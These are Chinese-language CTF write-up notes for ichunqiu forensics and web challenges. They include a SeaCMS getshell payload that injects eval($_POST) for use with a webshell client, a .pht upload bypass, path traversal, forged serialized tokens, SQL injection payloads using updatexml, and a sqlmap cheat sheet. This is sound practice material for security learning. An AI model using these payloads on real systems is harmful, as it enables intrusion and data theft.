本次笔记以i春秋为主
R.I.P Transmission 题目给了个名为RIP的文件,winhex查看文件头发现是ELF文件,使用rar可以打开但提示损坏 打开kail,使用binwalk:binwalk -e 文件名 解析出压缩包,rar工具打开提示损坏,修复后 用fcrackzip字典爆破:fcrackzip -D -p '/usr/share/wordlists/rockyou.txt' -u 文件名(注意,rockyou有可能是以压缩包的形式存在,如果是要先解压) 实验室的logo 题目给jpg图片,右键属性查看详细信息,无提示,winrar打开失败,winhex发现是jpg文件,ps打开没发现多图层或其他信息 binwalk解析,发现该文件其实是两张jpg图片,在winhex中跳转偏移量到第二张图片的位置,复制之后的所有数据,新建文件粘贴,保存为jpg文件,再打开即可 加密的文档 题目给zip文件,打开发现有密码保护,用winhex打开发现压缩源文件数据区全局方式位标记位为0,有可能是伪加密 因为解压的pkware版本为1400,直接16进制全局搜索1400,发现在压缩源文件目录区的全局方式位标记为09,改为00,保存。 重新打开压缩文件解压里面的word文档,直接打开发现打开失败。 用winhex打开,发现PK字样,改后缀为zip重新打开,在image中可找到flag 123 题目给出一个登录页面,万能密码无效、工具扫描无其他目录 查看源码发现提示用户在user.php中,直接访问php无回显内容,访问user.php.bak可获得文件 根据提示,默认密码=用户名+年份,用bp爆破(锁定年份在1980-2019),进入后台 bp抓包发现注释段有文件上传漏洞,传图马提示文件名不合法 在试过各种上传绕过手段后发现,直接上传一张图片并用bp改后缀名为.jpg.pht即可(php族)(利用apache从右往左解析文件名的特性进行绕过) 给出提示,view.php,在该页面又有提示?file 直接访问view.php?file=,提示filter"flag",大小写绕过无效后采用双写绕过即可 test 题目给出一个海洋cms的网站,根据搜索,发现存在前台geishell漏洞和后台getshell漏洞,这里采用前台getshell漏洞 payload:search.php/?searchtype=5&tid=&area=eval($_POST[1]) 菜刀连接时也是连接整个url而非php 目录下无文件,寻找数据库,在seacms库中发现flag表,执行select * from 表名,即可获得flag login 题目给出登录框,万能密码登录无效后,查看源码发现给出账户和密码 登录进去后发现member.php的request有show:0这一参数 在get member.php中添加show:1则回显源码 发现关键源码: if(isset($requset['token'])) $login = unserialize(gzuncompress(base64_decode($requset['token']))); if($login['user'] === 'ichunqiu') echo $flag; 构造解密语句: $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a 得到token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 重新访问member.php页面,并在cookie中加入token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;即可 Not Found 题目给出一个Not Found的网页,按提示打开404.php,没任何帮助 bp抓包,发现response中有X-Method: haha,可能是提示提交方式需要改变 在post、get方式均无效的情况下,根据网上提示,采用其他提交方式 提交方式共有:GET/POST/PUT/HEAD/CONNECT/OPTIONS/TRACE/DELETE/PATCH put相当于不支持表单的post,head只请求http头,connect测试连接状态,options查看服务器性能,patch补充put,trace回显服务器请求 在各种提交方式中,options返回了新内容:?f=1.php 访问,提示not here,根据网上提示,要访问.htaccess文件,利用?f=.htaccess访问,发现里面有新网址 访问新网址,提示ip incorrect XFF?,尝试XFF失败后,根据网上提示,使用client-ip成功获取flag GetFlag 题目给出一个登录框和验证码哈希值的前6位,审核源码没发现其他有用信息 采用哈希截断爆破的方式,用脚本爆破出验证码 用' or 1=1#或admin'#的万能密码进行登录('-- '方式无效) 发现给出三个文件的下载,逐一打开查看后,发现提示flag在根目录 发现下载方式是采用download.php?f=xxx,构造跨越目录download.php?f=../flag 发现提示flag不在此,根据网上提示,linux web的绝对地址为/var/www/html/,构造download.php?f=/var/www/html/Challenges/flag.php (var前面的斜杠不能漏,flag.php也不能写成flag) 下载文件后,审计代码发现: $f = $_POST['flag'];if ($spaceone === 'flag'){ echo file_get_contents("helloctf.php"); } 直接POST flag=flag;即可(;不可以省略)(若直接访问helloctf.php会提示error) Vld 题目给出提示,使用vld,审核源码发现index.php.txt 访问txt发现有通过vld形成的opcode,根据学习发现:BEGIN_SILENCE=@、EXT_STMT=、FETCH_R表示从某个变量中取出值并把这个值赋给另一个变量、JMPZ表示判断值为flase时进行跳转 根据题意,用get方式赋值flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi即可 得到提示,1chunqiu.zip 在根目录下访问,得到1chunqiu源码,内含login.html、login.php、dbmysql.class.php等文件 审计代码后,发现关键代码: $username = trim(str_replace($number, '', $username)); public function safe_data($value){ if( MAGIC_QUOTES_GPC ){ stripcslashes($value); } return addslashes($value); } 在上述代码中,句1会将username中与number值相等的字符串删去 句2则是安全函数,会转义'、"、%00等字符串 根据以上可以构造1%00'进行单引号逃逸,%00'->/0/',若number=0则变为//',即单引号逃逸 访问/1chunqiu/login.html,使用updatexml的方式进行报错注入,构造payload: number=0&username=1%00' or updatexml(1,substr((sql inject),1,41),1)&password=1 因为updatexml报错最多爆出32位字符,所以可截断为 number=0&username=1%00' or updatexml(1,substr((sql inject),11,41),1) 查看后面未显示的字符 逃课方式: 盲猜存在flag表中存在flag字段 number=0&username=1%00' or updatexml(1,substr((select flag from flag),1,41),1) number=0&username=1%00' or updatexml(1,substr((select flag from flag),11,41),1) 获得值为{xxx}后,在提交时补上flag,即flag{xxx}即可 sqlmap用法 sqlmap -u URL dbs 获取全部库名 sqlmap -u URL --current-db 获取当前库名 sqlmap -u URL --tables -D "库名" 获取表名 sqlmap -u URL --columns -D "库名" -T "表名" 获取字段名 sqlmap -u URL --dump -D "库名" -T "表名" -C "字段名" 获取字段值(同时获取多个字段值时,字段名之间用逗号隔开)